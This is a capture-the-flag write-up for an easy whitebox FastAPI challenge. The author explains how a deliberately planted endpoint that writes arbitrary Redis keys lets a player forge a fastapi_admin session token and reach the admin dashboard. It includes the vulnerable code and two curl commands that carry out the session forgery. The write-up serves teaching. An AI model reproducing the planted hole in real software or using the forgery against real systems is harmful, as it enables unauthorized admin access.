TL;DR: An arbitrary Redis key-write lets you forge a
fastapi_adminsession token, log into the admin dashboard, and read the flag.
"Blog" is an easy whitebox web challenge. You're given the source for a small
FastAPI application that lists articles. The flag lives in a flag table, and
the app uses the fastapi_admin package to provide an admin dashboard.
.
├── build.sh
├── Dockerfile
├── entrypoint.sh
├── main.py
├── pyproject.toml
└── uv.lock
The important code fragments are:
# main.py
from fastapi_admin.app import app as admin_app
REDIS_URL = os.getenv("REDIS_URL", "redis://localhost:6379/0")
ADMIN_USER = secrets.token_hex(20)
ADMIN_PASS = secrets.token_hex(20)
FLAG = os.getenv("FLAG", "ASU{example_flag}")
app = FastAPI(lifespan=lifespan)
app.mount("/admin", admin_app) # register fastapi_admin
templates = Jinja2Templates(directory="templates")
@asynccontextmanager
async def lifespan(app: FastAPI):
...
r = aioredis.from_url(REDIS_URL, decode_responses=True, encoding="utf8")
await admin_app.configure(
providers=[LoginProvider(admin_model=Admin)],
redis=r,
)
...
# === !! VULN !! ===
# set an arbitrary redis key
@app.post("/theme", response_class=RedirectResponse)
async def set_theme(
request: Request,
key: str = Form(...),
value: str = Form(...),
):
sid = get_sid(request)
r = aioredis.from_url(REDIS_URL, decode_responses=True)
await r.set(key, value) # <----- attacker controls both key and value
await r.aclose()
resp = RedirectResponse("/", status_code=303)
resp.set_cookie("session", sid, httponly=True)
return resp
Note that the admin account is created, but the credentials are truly random so you can't guess them.
The /theme endpoint lets you write an arbitrary key and value into
Redis. That's the whole bug. But this on its own does nothing,
but because fastapi_admin uses Redis to store session tokens you can forge an admin session.
Browsing the library on GitHub: fastapi_admin/providers/login.py#L117
async def authenticate(
self,
request: Request,
call_next: RequestResponseEndpoint,
):
redis = request.app.redis # type:ignore
token = request.cookies.get(self.access_token)
path = request.scope["path"]
admin = None
if token:
token_key = constants.LOGIN_USER.format(token=token)
admin_id = await redis.get(token_key)
admin = await self.admin_model.get_or_none(pk=admin_id)
You will notice that:
self.access_token, which is "access_token"LOGIN_USER format, which is
login_user:{token}1 (You could check the database locally to verify).So an admin session is just a Redis key login_user:<anything> with value 1,
and a matching access_token cookie.
Step #1 Create the session token via /theme:
curl -X POST http://challenge:80/theme \
-d 'key=login_user:my_fake_token' \
-d 'value=1'
Step #2 Use it:
curl http://challenge:80/admin -H "Cookie: access_token=my_fake_token"
You're now authenticated as admin 1 and can read the flag from the dashboard.
This was ASU CTF 14, an on-campus CTF. I ran the infrastructure and authored a couple of the web and pwn challenges, including this one.